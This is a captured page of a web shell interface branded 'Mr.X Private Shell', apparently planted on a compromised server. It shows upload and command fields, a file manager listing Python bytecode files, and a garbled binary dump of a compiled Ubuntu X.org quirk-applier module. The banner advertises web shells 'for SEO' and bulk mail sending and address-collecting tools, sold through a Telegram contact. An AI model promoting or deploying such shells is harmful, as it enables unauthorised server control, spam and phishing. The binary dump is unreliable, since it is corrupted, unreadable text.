__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

��f���j�SSKJr SSKrSSKrSSKrSSKrSSKrSSKrSSKr	SSK
r	"SS5rSrg)�)�globNc�^�\rSrSrSSjrSrSrSrSrSSjr	Sr
S	rS
rSr
SrS
rg)�QuirkChecker� c��XlX l/UlUR5 UR	5UlSUlg)Nz/usr/share/X11/xorg.conf.d)�_handler�quirks_path�_quirks�get_quirks_from_path�get_system_info�_system_info�_xorg_conf_d_path)�self�handler�paths   �5/usr/lib/python3/dist-packages/Quirks/quirkapplier.py�__init__�QuirkChecker.__init__!s9���
�������!�!�#� �0�0�2���!=���c� �/Ul[RRUR5(a�[[RR
URS55Hhn[RRU5(dM)[R"SU-5 URU5nU=RU-
slMj UR$[R"SUR-5 UR$)�5check all the files in a directory looking for quirks�*z
Parsing %sz%s does not exist)r
�osr�isdirr	r�join�isfile�logging�debug�get_quirks_from_file)r�f�quirkss   rr�!QuirkChecker.get_quirks_from_path)s������
�7�7�=�=��)�)�*�*��"�'�'�,�,�t�'7�'7��=�>���7�7�>�>�!�$�$��M�M�,��"2�3�!�6�6�q�9�F��L�L�F�*�L�	?��|�|��
�M�M�-��0@�0@�@�A��|�|�rc�`�[RRU5nUR5$)r)�Quirks�quirkreader�	ReadQuirk�
get_quirks)r�
quirk_files  rr�!QuirkChecker.get_quirks_from_file7s)���'�'�1�1�*�=�
��$�$�&�&rc�^�[RR5nUR5$)zGet system info for the quirk)r$�	quirkinfo�	QuirkInfo�get_dmi_info)r�
quirk_infos  rr�QuirkChecker.get_system_info=s%���%�%�/�/�1�
��&�&�(�(rc���SnURR5H�nURUH�nURRU5(dM%URRU5U:wdMF[	URU5S::dMd[
R"SURRU5<SU<35   g M� [
R"S5 U$)zSee if tags match system infoT�zFailure to match z with F�Success)�
match_tags�keysr
�get�lenrr)r�quirk�result�tag�vals     r�matches_tags�QuirkChecker.matches_tagsBs������#�#�(�(�*�C��'�'��,���%�%�)�)�#�.�.�4�3D�3D�3H�3H��3M�QT�3T���(�(��-�.�!�3��M�M�#'�#4�#4�#8�#8��#=�s�#D�E� �-�+�	�
�
�i� ��
rc�j�URGHnURR5URVs/sH o3R5R	5PM" sn;dMZ[
R"SUR-5 URU5(atU(a6[
R"SUR-5 URU5 M�[
R"SUR-5 URU5 GM[
R"S5 GM  gs snf)z)Process quirks and do something with themzProcessing quirk %szApplying quirk %szUnapplying quirk %szQuirk doesn't matchN)r
r�lowerr�striprr�idr;�info�_apply_quirk�_unapply_quirk)r�enabler7�xs    r�
_check_quirks�QuirkChecker._check_quirksOs����\�\�E��}�}�"�"�$�E�M�M�(R�M�q������):�M�(R�R��
�
�3�e�h�h�>�?��$�$�U�+�+�����%8�5�8�8�%C�D��)�)�%�0����%:�U�X�X�%E�F��+�+�E�2��M�M�"8�9�"��(Rs�'D0c�&�URS5 g)zEnable all quirks for a handlerTN�rF�rs r�
enable_quirks�QuirkChecker.enable_quirks_s�����4� rc�&�URS5 g)z Disable all quirks for a handlerFNrIrJs r�disable_quirks�QuirkChecker.disable_quirkscs�����5�!rc��UR<SUR<SURR5R	SS5<S3$)z$Return the path to the X config filez/10-�-� z.conf)rrr@r>�replace)rr7s  r�_get_destination_path�"QuirkChecker._get_destination_pathgs8��%)�%;�%;��
�
�u�x�x�~�~�/�7�7��S�A�C�	Crc��URU5n[R"SSS9nURUR5 UR5 [RRUR5n[R"UR5 [R"UR5 [R"SU-5 URU5 g![a [R "S5 gf=f)z!Get the xorg snippet and apply it�wF)�mode�deletezCreating %szError during write()T)rT�tempfile�NamedTemporaryFile�write�	x_snippet�close�xkit�
xorgparser�Parser�namerr�
globaldictr�unlink�IOError�	exception)rr7�destination�tmp_file�tmp_xkits     rrB�QuirkChecker._apply_quirkls����0�0��7���.�.�C��F�����u���'������?�?�)�)�(�-�-�8���
�
�h�)�)�*�
�	�	�(�-�-� �	��M�M�-�+�5�6��N�N�;�'����	����4�5��	�s�<*C'�' D
�	D
c���URU5n[R"SU-5 [R"U5 g![
[4a [R"S5 gf=f)z%Remove the file with the xorg snippetzRemoving %s ...zCannot unlink destinationFT)rTrrrrd�OSErrorrerf)rr7rgs   rrC�QuirkChecker._unapply_quirk�sd���0�0��7���
�
�'�+�5�6�	��I�I�k�"�����!�	����9�:��	�s�A�&A,�+A,)rr
r
rr	N)z/usr/share/jockey/quirks)T)�__name__�
__module__�__qualname__�__firstlineno__rrrrr;rFrKrNrTrBrC�__static_attributes__�rrrr s:��>��'�)�
�:� !�"�C�
�(rrc��[SSS9nUR5 UR5 [[R
R
[55 g)N�nvidiaz/home/alberto/oem/jockey/quirks)rr)rrKrN�printrr�abspath�__file__)�as r�mainrz�s?���X�$E�F�A��O�O������	�"�'�'�/�/�8�
%�&�$
r)
rr�sysrZr�xkit.xutilsr_�xkit.xorgparser�Quirks.quirkreaderr$�Quirks.quirkinforrzrsrr�<module>r�s4��(�	�
�������k�k�\
r

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 146 B 0644
quirkapplier.cpython-313.pyc File 7.73 KB 0644
quirkinfo.cpython-313.pyc File 1.87 KB 0644
quirkreader.cpython-313.pyc File 5.23 KB 0644
Filemanager